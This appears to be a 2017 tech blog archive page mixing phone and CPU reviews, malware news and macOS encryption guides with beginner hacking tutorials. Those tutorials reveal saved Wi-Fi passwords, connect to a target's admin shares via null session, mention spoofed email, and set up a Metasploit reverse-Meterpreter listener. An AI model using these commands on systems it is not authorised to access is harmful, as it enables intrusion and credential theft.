Techadda

Oneplus 5 is here so here it is .(REVIEW: ONEPLUS 5)

2017-06-20T23:34:00.000-07:00

IMAGINE YOU COULD build your own Android phone from scratch, with the ability to bend a Chinese manufacturing colossus to your whims. What would you make?

That is more or less the story of OnePlus, the Chinese company founded in 2013 to produce premium smartphones. But don’t call it a startup: OnePlus is a subsidiary of BBK Electronics, the world’s second-largest smartphone manufacturer (it also owns Oppo and Vivo.) That means OnePlus can tap a vast supply chain and manufacturing operation. Yet while Oppo and Vivo produce handsets for every consumer, OnePlus offers just one device, targeted squarely at the high-end.

The new OnePlus 5 is power-user catnip. OnePlus packed all the best components into this phone: Qualcomm’s latest Snapdragon 835 processor, 6 or 8 gigs of LPDDR4X RAM, a 3,300 mAh battery with super-fast charging, 64 or 128 gigs of storage, dual-sim support, Bluetooth 5.0, a two-camera array on the rear that lets you take cool portraits, and an absurdly high-res 16-megapixel selfie cam. A dark-gray model with 6 gigs of RAM and 64 gigs of storage costs $479; 8 gigs of RAM, 128 gigs of storage, and a gorgeous black case runs $539. By comparison, a 128GB iPhone 7 Plusor Google Pixel XL costs a hefty $869, and you’ll drop $825 on a Galaxy S8 Plus with only 64GB of storage.

OnePlus didn’t do anything outrageous or eye-catching, like shave the bezel to a sliver or build in a modular ecosystem. It simply made all the stuff in its fourth flagship phone (it skipped the OnePlus 4, because the Chinese consider the number four unlucky) better. And in doing so, it made a pretty good phone.

Build It Better

OnePlus got just about everything right with the look of the 5. It’s slimmer and more sharply beveled than previous handsets, with the black logo on the black back and a slight edge on the otherwise rounded side. It looks a lot like an iPhone 7 Plus, which I say as a compliment. Earlier models looked like they were created by ransacking a parts bin and throwing it all together with someone’s discarded tooling.

The phone runs on OnePlus’s Oxygen OS, which is really just Android with a couple of tiny customizations. Useful ones, too, like a reading mode that automatically filters out blue light and adjusts the screen properties to make the AMOLED display look and feel more like a Kindle screen. You also get a system-wide night mode, a one-touch setting for turning off all notifications while you play games, and a handful of hidden gestures and features.

As you might expect from the specs, the OnePlus 5 screams like metal band.Played games, watched movies, shot high-res video, opened every app on the phone simultaneously, and then made a video call. Nothing slowed it down. The fingerprint reader below the screen works so insanely fast I almost wonder if it actually reads my print. (OnePlus assured me it does.) My review unit, with 8 gigs of RAM, offers way more power than most people need. And even with all that juice, the battery still lasts a full day. With OnePlus’s much-touted quick charge tech, a quick top-off while getting dressed will last through the evening.

That smoothness and longevity comes at the expense of the 5.5-inch screen, which offers 1080p resolution. On a phone so otherwise spec-heavy, that feels like a weird oversight. But unless you plan to strap a OnePlus 5 to your face, it won’t matter. Samsung runs the S8’s screen at 1080p by default, and nobody complains about the iPhone 7 Plus’s 5.5-inch screen being low-res. Frankly, the screen looks great, even if 1080p won’t excite many power users.

That Camera, Though

Two camera lenses poke out the back of the OnePlus 5, working in tandem to improve your photos. A 16-megapixel rig captures the wide shots most phones handle. And a 20-megapixel sensor captures your zoomed-in photos. When you hit the shutter, both lenses capture light and the 5’s post-processing does the rest. The app offers an impressive array of manual control, including ISO, shutter speed, and more.

The two-camera array looks and works just like the iPhone 7 Plus, including the soft-background portrait mode. With a subject near the camera, the two lenses can sense depth to blur the background and make your subject pop. The effect works well, though it’s slightly overdramatic and obviously software-created, as on the iPhone.

Despite the great hardware, the photos don’t impress. For every awesome shot of my jittery dog, the 5 botches a still shot of a basketball hoop. Even in great light, photos featured softer edges and less detail than I’d expect. I found the autofocus lightning fast, but not always accurate. In low light, photos are often noisy to the point of mushiness. Luckily, OnePlus can fix a lot of this in software; the company recently pushed a big update to the image processing. But it still has a lot of work to do, given that cameras separate good Android phones from great ones.

Camera imperfections aside, the OnePlus 5 hits nearly every mark. It doesn’t try to replace Google’s excellent software with a weird interface and bad virtual assistant. (Lookin’ at you, Samsung.) Instead of reinventing the wheel or evolving the wheel or however Steve Jobs would have put it, OnePlus simply built a very nice wheel. The OnePlus 5 is a budget phone that doesn’t feel or act like a budget phone.

I do wonder how long this can work for OnePlus. Every phone is good now, even much cheaper models. Nobody needs the latest and greatest in Snapdragon power, or a million gigs of RAM—at least until AI and VR make specs matter again. OnePlus found success by diligently avoiding bloatware and pointless customization, but other companies do this now, too. Meanwhile, buyers have shown they’re willing to spend more to get the phone they want. That means you’ll continue getting better phones at better prices. And as the pace of competition continues to accelerate, OnePlus and everyone else will have to get better, faster.
Specs:

Source:wired.com

How To Find Passwords of All Connected Wi-Fi Networks using CMD

2017-06-19T02:43:00.000-07:00

How To Find Passwords of All Connected Wi-Fi Networks using CMD

Windows command prompt is a great tool for the people who love command interface rather than Graphical UI. There are a lot of features which are still not implemented in Graphical User Interface can be accessed via CMD. In my previous articles, I’ve talked about a lot of CMD commands. In this article, I am going to share how to find out the password of all connected devices using CMD along with suitable screenshots for clear understanding.

Before going further, you should know one thing that whenever you connect to a Wi-Fi network and enter the password, Windows creates a WLAN profile of that Wi-Fi network. These WLAN profiles are stored in the computer alongside other required details of the Wi-Fi profile.

We can uncover these WLAN profiles later by simply using Windows CMD. You can find out all the connected networks and their passwords by using simple commands. These commands can also uncover the Wi-Fi passwords of the networks which are not connected at the moment but were connected before. So it works even when you are offline or when you are connected to any other networks. The trick just has no limitations and it’s reliable enough.

There are a lot more things you can do with CMD for Wi-Fi networks. For example, you can turn on MAC randomization, change radio type of your Wi-Fi and much more.

How to know Wi-Fi passwords using CMD?

You can open the CMD in Windows 10 by right-clicking on Windows icon.

1. Open command prompt and run it as administrator

Once you open the Command Prompt as Admin, you will have to type this command without quotes “netsh wlan show profile”

This command will return the list of all the Wi-Fi networks that you have ever connected to.

From the following list, Let’s find Wi-Fi password for network “virus”.

2. Type this command without quotes “netsh wlan show profile virus key=clear”

This command will show you the complete profile of wireless network along with its password

Under security settings, in key content, you can see the Wi-Fi password for that network. I hope you found it useful. If you’ve any problem, you can comment down below.

Source:technotification

Top CMD or MS-DOS prompt commands which every hacker should know

2017-06-18T20:41:00.000-07:00

Top CMD or MS-DOS prompt commands which every hacker should know

If you have been following Techieadda regularly, chances are you are a very versatile hacker in your own right and don’t need to know these commands. But many of our readers who are beginners and want to learn hacking always ask us for the top Dos Prompt (C:/ or CMD commands in Windows 10/7/8.1) they should know. So here goes.

CMD is a power tool which lets you do almost anything with your PC/laptop. There are common commands like CD.. and MD etc which you probably know so we wont get into that. Here are some really useful things a hacker can do with CMD commands.

First, open your Network Connection and right click and select Properties. Then Select TCP/IP and click Propertiesagain. Now Click on Advanced and WINStab. Select Default for NeBIOS

Now back to the main Local Area Connection window, select File and Print Sharing for Microsoft Networks and hit enter.

This is just to make sure you have NetBIOS enabled. We will have some fun with NetBIOS on CMD. In case you don’t know how to get CMD by clicking the Windows icon at the left-hand bottom of your screen in all Windows versions and click on Start. Press run from the start, then type “cmd” without quotes.

Now here are the important commands which every wannabe hacker should know :

nslookup
net view
net use
net user
ping
tracert
arp
route
nbtstat
netstat
ipconfig

In case you don’t know some of them, then just type the command on CMD and hit enter. A little help will show up on your screen. Read it to understand what that particular command does.

Let’s start easy…

1) ping : This command will allow you to know if the host you pinging is alive, which means if it is up at the time of executing the “ping” command.

ping x.x.x.x (x is the IP address). You can try pinging 8.8.8.8 which belongs to Google

ping www.google.com (www.google.com is the website you want to ping, but you don’t know the IP)

2) nslookup : This command has many functionalities. One is for resolving DNS into IP. Lets say you know the website URL but you don’t know its IP but you want to find it out.

Eg. nslookup www.google.com (www.google.com is the website for which you want to find out the IP)

Now, another really nice function of nslookup is to find out IP of specific Mail Severs

nslookup (enter)
set type=mx (enter)
yahoo.com

This command will give you the mail server IP of yahoo.com. You can use whatever server you want and if it is listed on DNS, then you get the IP. Simple, isn’t it? You can send a spoofed email to your friends using the IP address of the mail server. You can check the tutorial here for sending spoofed email.

3) tracert : This command will give you the hops that a packet will travel to reach its final destination. This command is really helpful if you know the route a packet takes before it goes to the target box.

tracert x.x.x.x (x is the IP address)

tracert www.google.com (www.google.com is the website you don’t know the IP)

4) arp : This command will show you the arp table. You can find out if anyone has done arp poisoning in your LAN using this command.

arp -a

5) route : This command will show you the routing table, gateway, interface and metric.

Code:
route print

6) ipconfig : This command will show you a lot of useful things like your IP, Gateway, DNS in use, etc. This command will give all that info but for all networks you might have it.

Code:
ipconfig
or
Code:
ipconfig /all

Also, in case you have a dynamic IP and want to change it, then type…

Code:
ipconfig /release (this will release your IP)

ipconfig /renew (this will renew your iP)

7) netstat : This command will show you connection stats

Code:
netstat

Code:
netstat -a (this will show you all the listening ports and connection with DNS names)
netstat -n (this will show you all the open connection with IP addresses)
netstat -an (this will combined both of the above)

net view x.x.x.x or computername (will list the available sharing folders on the target box)

Here are some additional CMD commands which will help you.

Code:
net use \ipaddressipc$ “” /user:administrator

(this command will allow you to connect to the target as administrator)

Now if you want to connect to the target and browse the entire C drive, then use this command:

Code:
net use K: \computernameC$
(this will create a virtual drive on your “my computer” folder)

Please not that this command will only work if the target PC/laptop has not set a Adminastrator Password.

And least but not last, the “help” command.

Quote:
whatevercommand /help

Quote:
whatevercommand /?

This command is very useful in finding what a particular command does, especially if you are a newby.

Hope you liked the CMD commands listed above.

Essential Phone (with unique define and grt specs )

2017-05-31T08:36:00.000-07:00

The Essential Phone, brought to us by the person who created Android, is finally ready for the spotlight. It’s an incredibly audacious and ambitious project, with an outlandish screen and the beginnings of a modular ecosystem.

First, the Android phone basics: the Essential Phone costs $699 with top-of-the-line specs and features. As you can see above, it prominently features an edge-to-edge display that one-ups even the Samsung Galaxy S8 by bringing it all the way to the the top of the phone, wrapping around the front-facing selfie camera.

It’s a unique take on a big screen that makes the phone stand out — and it’s smart, too. Often, the status bar at the top of an Android phone doesn’t fill that middle space with icons, so it’s efficient. The screen does leave some bezel at the bottom of the phone, but nevertheless it’s as close to the whole front of a phone being display as I’ve seen.

Photo: Essential

Essential is launching the phone in the US to start, and it’s filled the phone with radios that should make it work on all major carriers, alongside usual Android flagship internals like a Qualcomm 835 processor, 4GB of RAM, and 128GB of storage. And because Essential seems to be hanging its hat on the idea of shipping phones without extraneous junk (the designers don’t even put a logo on the exterior), chances seem good that there won’t be a ton of extraneous software laded on to slow the phone down.

Photo: Essential

Essential is clearly planning on releasing a very well-made phone: the screen looks promising, it has no annoying logos, and it is built with a combination of titanium and ceramic so it can survive a drop test “without blemish, unlike the aluminum competitor devices.” (Those would be Samsung and Apple, if you’re wondering.)

But nice hardware isn’t all that hard to come by on Android phones, so the company is aiming to build an ecosystem of accessories. It starts with a magnetic connector and wireless data transfer. Essential will ship a 360-degree camera that can click in to the top of the phone, and the company will also offer a charging dock. Both connect to the phone with small metal pogo pins. They won’t entirely replace USB-C for most people, but Essential is clearly hoping that they could someday.

Photo: Essential

Speaking of ports, there is no traditional 3.5mm headphone jack — which is a bummer. We’re told that it will ship with a headphone dongle in the box. It’s possible that other audio accessories could be made that could clip on to the magnetic accessory port.

The Essential Phone also has a good take on the dual-camera systems we’ve seen on other phones. Rather than use the second lens for telephoto or bokeh, it’s using it for a monochrome sensor, just like Huawei has been doing with the P9 and P10. That second sensor will be able to take in more light than a traditional color camera, meaning it can be combined with the regular 13-megapixel for better low-light shots. The front-facing camera is in line with current expectations, too: an 8-megapixel sensor that can also capture 4K video.

Photo: Essential

All that sounds great, but it ignores some key facts in the smartphone space: Apple and Samsung have it pretty locked up right now. The pessimist might say that although this phone looks incredible, it is also likely to break upon the shoals of the phone market, the same rocks that have cracked every Android phone that doesn’t have the Samsung logo emblazoned on it: carrier support, consumer interest, and lack of true differentiation.

But when it comes to cracking on the rocks, Andy Rubin claims that the Essential phone’s titanium and ceramic build is better able to withstand a drop test. Presumably, Essential’s grander ambitions are equally durable — it’s impossible to look at just this phone outside the context of Essential’s other announcements: the Essential Home speaker and its Ambient OS.

Even if those ambitions don’t bear out, the Essential Phone itself is exciting on its own. It’s a simple, straightforward Android device that respects the user: it’s powerful, clean, and not entirely beholden to the business whims of the giant companies that currently control the mobile and smart home markets.

If nothing else, it deserves our attention because it’s coming from Andy Rubin, who knows a thing or two about doing the right thing in the smartphone world

Source :the verge

World's most powerful processor

2017-05-31T01:11:00.000-07:00

World's most powerful processor is here.

i9 features base clock speeds of 3.3GHz, reaching up to 4.3GHz dual-core speeds with Turbo Boost 2.0 and 4.5GHz with Turbo Boost 3.0.Last year at Computex, Intel unveiled its first 10-core consumer CPU, the company's move into the world of a "megatasking." It was a pricey chip, launching at around $1,700, but it satisfied users who needed to juggle several intensive tasks at once. Now, Intel is upping the ante with a new family of processors for enthusiasts, the Core X-series, and it's anchored by the company's first 18-core CPU, the i9-7980XE.Priced at $1,999, the 7980XE is clearly not a chip you'll see in an average desktop. Instead, it's more of a statement from Intel. It beats out AMD's 16-core Threadripper CPU, which was slated to be that company's most powerful consumer processor for 2017. And it gives Intel yet another way to satisfy the demands of power-hungry users who might want to do things like play games in 4K while broadcasting them in HD over Twitch. And, as if its massive core count wasn't enough, the i9-7980XE is also the first Intel consumer chip that packs in over a teraflop's worth of computing power.

If 18 cores is a bit too rich for you, Intel also has other Core i9 Extreme Edition chips in 10-, 12-, 14- and 16-core variants. Perhaps the best news for hardware geeks: The 10 core i9-7900X will retail for $999, a significant discount from last year's version.All of the i9 chips feature base clock speeds of 3.3GHz, reaching up to 4.3GHz dual-core speeds with Turbo Boost 2.0 and 4.5GHz with Turbo Boost 3.0. And speaking of Turbo Boost 3.0, its performance has also been improved in the new Extreme Edition chips to increase both single and dual-core speeds. Rounding out the X-Series family are the quad-core i5-7640X and i7 models in 4-, 6- and 8-core models.

While it might all seem like overkill, Intel says its Core i9 lineup was driven by the surprising demand for last year's 10-core chip. "Broadwell-E was kind of an experiment," an Intel spokesperson told Engadget. "It sold ... proving that our enthusiast community will go after the best of the best... Yes, we're adding higher core count, but we're also introducing lower core counts. Scalability on both ends are what we went after."As you can imagine, stuffing more cores into a processor leads to some significant heat issues. For that reason, Intel developed its own liquid cooling solution, which will work across these new chips, as well as some previous generations. All of the new Core i9 processors, along with the 6- and 8-core i7 chips, feature scorching hot 140W thermal design points (TDPs), the maximum amount of power that they'll draw. That's the same as last year's 10-core CPU, but it's still well above the 91W TDP from Intel's more affordable i7-7700K.Over the past few years, Intel's laptop chips have been far more interesting than its desktop CPUs. Partially, that's because the rise of ultraportables and convertible laptops have shifted its focus away from delivering as much computing power as possible, to offering a reasonable amount of processing power efficiently. The new Core i9 X-series processors might not be feasible for most consumers, but for the hardware geeks who treat their rigs like hot rods, they're a dream come true

'Judy' Malware infects more than 36.5 million Android users

2017-05-29T02:02:00.000-07:00

A new malware called "Judy" has made its way to the Google Play Store and has infected between 8.5-36.5 million users, says research firm Checkpoint.

Checkpoint upon discovery alerted Google, which has started to remove the apps that have been infected.

According to reports, these infected apps were present in the Google Play Store for more than a year.

Here's all about it.

How: How did "Judy" work?

The infected apps were present in the Play Store under the garb of casual cooking and fashion games under the "Judy" brand and its malicious activities didn't come under the radar as the malicious code was downloaded from a non-Google server after the games were installed in the phone.

The infected phone would incessantly click on Google Ads, generating revenue for its attacker.

Measures: Stringent measures should be taken

The fact that a malware like "Judy" went undetected of the Google Play raises serious questions on the security measures taken by the Internet giant to safeguard its Android Operating System.

With no intention to fuel the age-old Android vs. iOS debate, the fact that Android allows more freedom to its developers, sometimes becomes a crutch rather than a helping hand.

Extent of damage: How it became so widespread

Checkpoint discovered that other developers who borrowed code from this "Judy" line of games, knowingly or unknowingly also ended up with the malware.

Checkpoint notes, "The oldest app of the second campaign was last updated in April 2016, meaning that the malicious code hid for a long time ... These apps also had a large amount of downloads between 4 and 18 million."
Source:newsbytes

Linux Basics for the Aspiring Hacker, (Manipulating Text)

2017-05-29T00:57:00.000-07:00

Cat That File

As demonstrated in an earlier tutorial, cat is probably the most basic text display command. Let's cat the Snort config file found in /etc/snort.

cat /etc/snort/snort.conf

As you can see, the snort.conf is displayed on our screen until it comes to the end of the file. Not the most convenient way to work with this file.

Step 2Take the Head

If we just want to view the beginning of a file, we can use the head command. This command displays the first 10 lines of a file, by default.

head /etc/snort/snort.conf

If we want to see more or less than the default 10 lines, we can tell head how many lines we want to see by putting the number of lines we want to see (with the -switch) between the command and the file name.

head -30 /etc/snort/snort.conf

Here we can see that only the first 30 lines of snort.conf are displayed.

Step 3Grab That Tail

Similar to the head command, we view the last lines of a file by using the tailcommand. Let's use it on the snort.conf.

tail /etc/snort/snort.conf

Notice that it displays some of the last "includes" of the rules files, but not all of them. Let's now see if we can display all the rule "includes" by grabbing the last 40 lines of the snort.conf.

tail -40 /etc/snort/snort.conf

Now we can view nearly all the rule includes all on one screen.

Step 4Numbering Those Lines

Sometimes—especially with very long files—we may want the file displayed with line numbers. This is probably the case with the snort.conf, as it has 838 lines. This makes it easier to reference changes and come back to the same place within a file. To display a file with line number, we simply type:

nl snort.conf

Note that each line now has a number making referencing much easier.

Step 5I Grep That

After cat, grep is probably the most widely used text manipulation command. It's a filtering command; in other words, it enables us to filter the content of a file for display. If for instance, we wanted to see all the instances of where the word "database" occurs in our snort.conf file, we could ask cat to only display those lines where it occurs by typing:

cat /etc/snort/ snort.conf | grep database

This command will first grab the snort.conf and then "pipe" it (|) to grep which will take it as input and then look for the occurrences of the word "database" and only display those lines. Grep is a powerful and essential command for working in Linux as it can save us hours searching for every occurrence of a word or command

Step 6I Sed That Works

The sed command essentially allows us to search for occurrences of a word or text pattern and then do some work on it. The name comes from the concept of a stream editor and is a contraction of those two words. In its most basic form, sed operates like the find and replace function in Windows. Let's search for the word "mysql" in the snort.conf file using grep.

cat /etc/snort/snort.conf | grep mysql

We can see that the grep command found five occurrences of the word mysql.

Let's say we want sed to replace every occurrence of mysql and with MySQL (remember, Linux is case sensitive) and then save the new file to snort2.conf. We could do this by typing:

sed s/mysql/MySQL/g snort.conf > snort2.conf

This command says, "search (s) for the word mysql and replace it with the word MySQL globally (i.e. wherever you find it in the file)."

Now, when we grep snort2.conf for mysql, we see that none were found and when we grep for MySQL, we find five occurrences of MySQL.

cat /etc/snort/snort.conf | grep MySQL

If we just want to replace only the first occurrence of the word mysql, we could leave out the trailing g and it would only replace the first occurrence.

sed s/mysql/MySQL/ snort.conf > snort2.conf

The sed command can also be used to find and replace any specific occurrence of a word. For instance, if I want to only replace the third occurrence of the word mysql, I can simply place the number of the occurrence at the end of the command and sed will only replace the third occurrence of the word "mysql" with "MySQL".

sed s/mysql/MySQL/3 snort.conf > snort2.conf

Which company’s job interviews are hardest to crack? Facebook, Google, Apple or Dropbox?

2017-05-29T00:23:00.002-07:00

Which company’s interviews are more difficult: Facebook, Google, Apple or Dropbox?

So you have passed out of an engineering college or have done a software certification course! Great! Next what? Most of the engineers and programmers will naturally think about taking a job in the top tech companies while a few of them will be bitten by the entrepreneurial bug.
Out of 100 software engineers who pass out, only 1 percent go on to open a startup, while 99 percent of them go on to join some tech firm. This post is for those 99 percent. After they have decided to take up a job in a tech company like Facebook, Google, Apple or Dropbox, the only obstacle between them and a lucrative career is the interview.
What do the HR guys from these top tech firms ask in an interview? Quora users tried to answer that so it could benefit the future crop of software engineers who try their hand at getting a job at Facebook, Google, Apple or Dropbox. Which interview is the most difficult of them all?

Shankar Joshi a Cloud Engineer at PYPL tries to solve this query. He has been an experienced campaigner so he knows what he is talking about. Here is his answer :
I ll try answering it in a different way. The difficulty is a measure that depends on the experience and expertise of the candidate. So let us focus on the overall experience of the interview sessions.

I have interviewed twice with Dropbox. I wouldn’t say it was difficult. But definitely better than any other interviews so far. Because I was clearly able to solve the questions (though with an added time limit) but you need a little more than good practice to get ideas for such questions. Really interesting if you are big fan of topcoder and the likes. Engineers at DBX are really clear on what they are looking for. You will be able to surely decide if the interview went well or bad even before they get back to you.
Facebook was surprisingly interesting as in the answers to most of the questions were pretty obvious. I personally wasn’t expecting such standards but the onsite totally depends on the team. My experience and few of my friends’ were totally different.
Google. Let’s see. Where do I start ? Do not get surprised if you are going to do great and end up getting no response from them like ever. You can read tons of such bad experiences online. You either end up getting a strange interviewer who doesn’t understand what you say or the other way. I myself encountered three people who had such experiences despite being fantastic coders. All such beautiful things aside, the questions were pretty easy. Onsite and phone.
To sum it up, compared over experiences – Dropbox > Facebook > Google.

Another Quora user, Jessica Shu who is an intern at Google Chrome says that :
I’ve interviewed with all three, and I would agree with most people that for coding question difficulty Dropbox >>> Google > Facebook.
However I did get a Dropbox offer despite missing a concurrency question. They also gave me a really complicated NP problem, which I didn’t realize was NP but managed a working solution while secretly freaking out about why I couldn’t optimize it. Honestly I almost said “fuck it I give up” halfway through that question but I’m glad I didn’t, I think they value persistence and ability to stay cool under pressure.
I also got a Google offer but did not get an offer from Facebook even though I answered the interview questions correctly, so I’m sure there are other factors at play with Facebook’s hiring process.
Lucy Geo, another intern, confirms what the above two have said.
By far Dropbox. They have one of the best engineering teams in the Valley.
I’ve heard on average Facebook has harder interviews than Google, but for me personally, Google gave me much more interesting questions.
Dropbox >>>>> Google == Facebook > Apple
So there you have it, Dropbox interviews are hardest to crack for the wannabe job seekers.
Here is a glimpse of the questions that are asked in these interviews so it can help you prepare for your D-day mentally. The answer is from Quora courtesy Amit Kumar, a professional HR guy.

Question 1:

Interviewer: have a cup of sugarless tea adding a teaspoonful of sugar.

Candidate: Initially he got bemused and thought for a few seconds, and added a teaspoonful of sugar into the tea cup and stirred well.
Secondly, he took one more teaspoonful of sugar and ate it to sweeten his mouth.
After sweetening his mouth, he started drinking the cup of tea which made the tea SUGARLESS.
As we all know, we feel sugarless to tea/coffee after consuming sweets.

Question 2:

Interviewer : There is one scooter which has 2 tyres and one stepney/spare (meaning 3 tyres). Each tyre can run up to max 5 km. How long will the scooter run till?

Candidate: Confused, one thought struck my mind that 5 kms obviously as scooter can’t run with one tyre. But if that would be the answer then the question shouldn’t be asked in that way. Thought for a while, did some calculations, then gave the answer as 7.5 kms.
Interviewer : How?
Candidate:
First run 2.5 km and change the 1st tyre with stepney. Now kms remains in 1st tyre: 2.5 km, 2nd tyre: 2.5 km, Stepney : 5 km
Again run for 2.5 km and this time change 2nd tyre with 1st tyre: Now kms remains 1st tyre: 2.5 km, 2nd tyre :0 km ,stepney : 2.5 km.
Now run 2.5 km with remaining 1st tyre and stepney .
Total: 2.5+2.5+2.5=7.5
Best of luck!

Metasploit for the Aspiring Hacker, (Creating Resource Script Files)

2017-05-28T23:19:00.000-07:00

There are so many features, and techniques for using those features, that few pentesters/hackers are aware of all of them.

Many times, when doing a pentest/hack, we need to run a number of Metasploit commands repeatedly. These commands may be exactly the same each time, and just like scripting, we may need to automatically run multiple Metasploit commands in a single step. Metasploit has the capability to save and store these "scripts," and they can then be recalled by the script name. Metasploit calls these scripts resource files.

For example, in many attacks, we need to set up a multi/handler to connect to when a payload is executed on a target system. In my new Powersploit series, or with theweb delivery Metasploit module, we will always need to set a multi/handler to receive the connections from a sent payload. This usually involves several commands: using the multi/handler, setting the port, setting the payload, setting the IP, an so on. To make things easier, we can store all of these commands in a resource file and simply run a single command to execute all of them.

Now that you have a better idea of when these would be useful, let's take a look at Metasploit's scripting capabilities with resource files.

Step 1Exploring Resource Scripts in Metasploit

First, let's take a look at where Metasploit store its scripts. Let's navigate to/usr/share/metasploit-framework/scripts/resources, and then do a long listing.

kali > cd /usr/share/metasploit-framework/scripts/resource
kali > ls -l

As you can see, Metasploit has numerous scripts already developed and stored here. Any new script that we write will be stored here as well.

Step 2Writing Our Own Resource Script

Now let's create our own simple script to start a multi/handler necessary to receive connections, such as we used in the first Powersploit tutorial. First, start Metasploit, then enter the commands we want in our script.

kali > msfconsole
msf > use exploit/multi/handler
msf > set PAYLOAD windows/meterpreter/reverse_http
msf > set LHOST 192.168.181.128
msf > set LPORT 4444

When we have completed all of the commands we want in the script, we simply use the keyword makerc followed by the name of the script. For instance, here I named the script, handler_http.rc (a multi/handler for HTTP followed by the Metasploit extension for resource files, rc).

msf > makerc handler_http.rc

Metasploit now saves each of those commands into that script file.

Step 3Checking the Script Contents

If we want to see want commands are in a script file, we can use one of the many commands in Linux to display the contents of a file, such as cat, less, and more. Here, I used more followed by the resource file name.

msf > more handler_http.rc

Notice that Metasploit now displays the commands in my script file, handler_http.rc.

Step 4Executing Our New Script File

When we want to execute this script, we simply precede the script name with the keyword resource such as:

msf > resource handler_http.rc

Metasploit will now run each of the commands in our script automatically. Now simply type exploit to start our handler.

msf > exploit

Step 5Checking Whether It Was Saved

If we go back to the location where the scripts are stored, we can see that our new script, handler_http.rc, is now stored with the other Metasploit prepackaged scripts.

Step 6Starting the Script Automatically with Metasploit

If we know before starting Metasploit that we will be using a particular script, we can have Metasploit automatically execute the script upon starting. We do this by starting Metasploit with the msfconsole command, the -r switch, and followed by the name of the resource file we want to execute upon opening, such as:

kali > msfconsole -r handler_http.rc

Now, when Metasploit starts, it will automatically execute the handler_http.rc script, and you are ready to go.

How to Create an Encrypted Disk Image

2017-05-28T10:59:00.002-07:00

I want to quickly cover the encryption of disk images before we dive into managing passwords, terminal emulators, etc.

So Why Use Encrypted Disk Images?

Cloud platforms are convenient, thanks to the ability to upload and access data from any device anywhere with an internet connection. However, the downside is that our data is stored on someone else's machine.

Dropbox was breached by hackers in 2012, but it wasn't until 2016 that we knew the extent of it—about 68 million user credentials were made available to the public. That's a lot of creds. If you were part of the leak, you were probably notified, but was it too late? In the time between the actual hack and the discovery, how much access did the attacker have? Most likely, full access to many accounts. If you were storing anything of value on Dropbox, it was potentially compromised. This is why I use an encrypted disk image when working with the cloud.

An encrypted disk image with a strong password will help protect your data when it's off your machine. If I were a malicious actor with access to Dropbox, my first targets would be larger companies and more well-known users. I would still script to grab anything of value from accounts, but with that much information, I wouldn't spend a lot of time on brute-forcing encrypted images. But I would definitely pick up anything of value in the clear from random users.

Step 1Open Disk Utility

Our first step is to open Disk Utility, which is located in your Applications folder. I prefer to use Spotlight, so just press Command Spacebar and type in Disk Utility. If you want to go the more geeky route, you can use the following Terminal command.

open /Applications/Utilities/Disk\ Utility.app

In the menu bar up top, select File -> New Image -> Blank Image. If you are creating this image from an already-created folder containing sensitive information, simply select "Image from Folder" instead of the blank option.

Step 2Set Your Disk Image Options

At this point, you are presented with many options:

Save As: The name you want for your encrypted disk image. I chosemyEncryptedImage.
Tags: I just left it blank. If you want tags, go ahead.
Where: I put mine on the Desktop, but put yours wherever you want.
Name: This is the name of the image when it's actually mounted.
Size: Select a size, I left the default 100 MB.
Format: If you aren't happy with the standard OS X Extended (Journaled) file system type, you can pick a new one here.
Encryption: I went with the default 128-bit. If you need 256 for stronger encryption, it is available. You will be prompted to enter and verify a password—make sure it is a strong password.
Partitions: I left the default single partition GUID scheme.
Image Format: I selected read and write.

Now that the set up is complete, simply click the Save button.

Step 3Add a File

You now have an encrypted disk image. If it didn't mount already as a device, double-click on it to do so. Then, to verify that it is working properly, simply add a file, and then eject the disk. I used the following command in Terminal:

touch /Volumes/myEncryptedImage/testfile

In this case, the touch command basically creates an empty file (named whatever you want) and saves it to the disk image. You could just as easily drag or copy any file over to your disk image using Finder. Once there is a file in your image, eject the image.

Now we need verify that the file is still in the image. Double-click on the disk image file to remount it. You will be prompted for your password, so go ahead and enter it. Do not select remember password in keychain, unless you are not concerned about unauthorized users on your account. If the password is stored in your keychain, anyone using your account will be able to access the image.

Select the mounted disk, and you should see the file you created or moved into it is still there. Remember that this image protects data at rest, just like how full disk encryption works. Once the disk is mounted, it will be accessible to anyone using your account until it is ejected.

Step 4Eject the Disk

When you are finished using the image, simply eject it. Now the image file is unmounted and the data is safely protected behind your strong password.

That's it—you have successfully created an encrypted disk image to protect your confidential data. While I mainly use these in the cloud, you may find other uses for them. They're helpful anywhere you are worried about your data being accessed by the public, or viewed by unauthorized individuals. Even if you don't think your data is sensitive, I would use encrypted images simply to keep cloud services from indexing your data or poking their nose into what you're doing. It's really none of their business.

How to Enable Full Disk Encryption to Protect Your Data

2017-05-27T21:01:00.001-07:00

Getting to FileVault

Open your System Preferences how you normally would and select the Security & Privacy option in the first row. Alternatively, you could use the following command (just copy and paste into Terminal and press enter). The -b (bundle identifier) tells it to open up the Security prefPane file with System Preferences.

open -b com.apple.systempreferences /System/Library/PreferencePanes/Security.prefPane

Next, select the FileVault tab within Security & Privacy. You will need to click on the lock on the lower left-hand side of the window and enter your admin username and password in the popup to make changes.

Step 2Turn On FileVault

Before you click on the "Turn On FileVault" button, ensure you have read the warning displayed.

WARNING: You will need your login password or a recovery key to access your data. A recovery key is automatically generated as part of this setup. If you forget both your password and recovery key, the data will be lost.

Now, reread that. It's very important, because if you forget both your password and recovery key, you might as well have just erased all your data—because that's what you'll have to do in order to make your Mac usable again.

When ready, click the "Turn On FileVault" button.

Depending on whether you are signed in with iCloud or not (for Yosemite and higher), you will be greeted with a dialog box asking if you'd like to use your iCloud account or a recovery key to reset your password if you somehow forget it. I prefer to keep a hard copy of my key somewhere safe since the cloud is basically just someone else's computer. (If you are not signed into iCloud, you may see the recovery key right away.)

After you have decided how you want to manage your recovery key, click Continue.

In order to keep my key secure and accessible, I'm going to copy the text to a document and print it before I continue. Then I will store it somewhere safe. Do not store this key on your machine. If you forget your password, you will have no access to your key and will not be able to unlock the machine.

When you are satisfied that you have stored the key properly, click Continue again.

If you have other users on your system, a dialog box will appear asking you to "Enable" each user (by entering their password) before you can unlock the disk. You will obviously have to enable your admin account, but all others are optional—it all depends on whether you want to give them access to decrypt the disk or not. Click on Continue to move on.

Step 3Restart Your Machine

You will be prompted to restart. Save and close anything else you have been working on, then restart.

Upon rebooting, FileVault will begin encrypting your disk in the background, which may slow down your machine significantly until it's finished. The amount of time it takes to encrypt depends on the size of your disk. You can check the progress at the FileVault screen in your System Preferences.

Note: If you have a modern machine with a SSD, your machine will encrypt and decrypt significantly faster than a spinning HDD. So keep that in mind if future startup times are any concern to you—for a hacker, you need to play it safe and encrypt no matter what.

Step 4Validate Your Key!

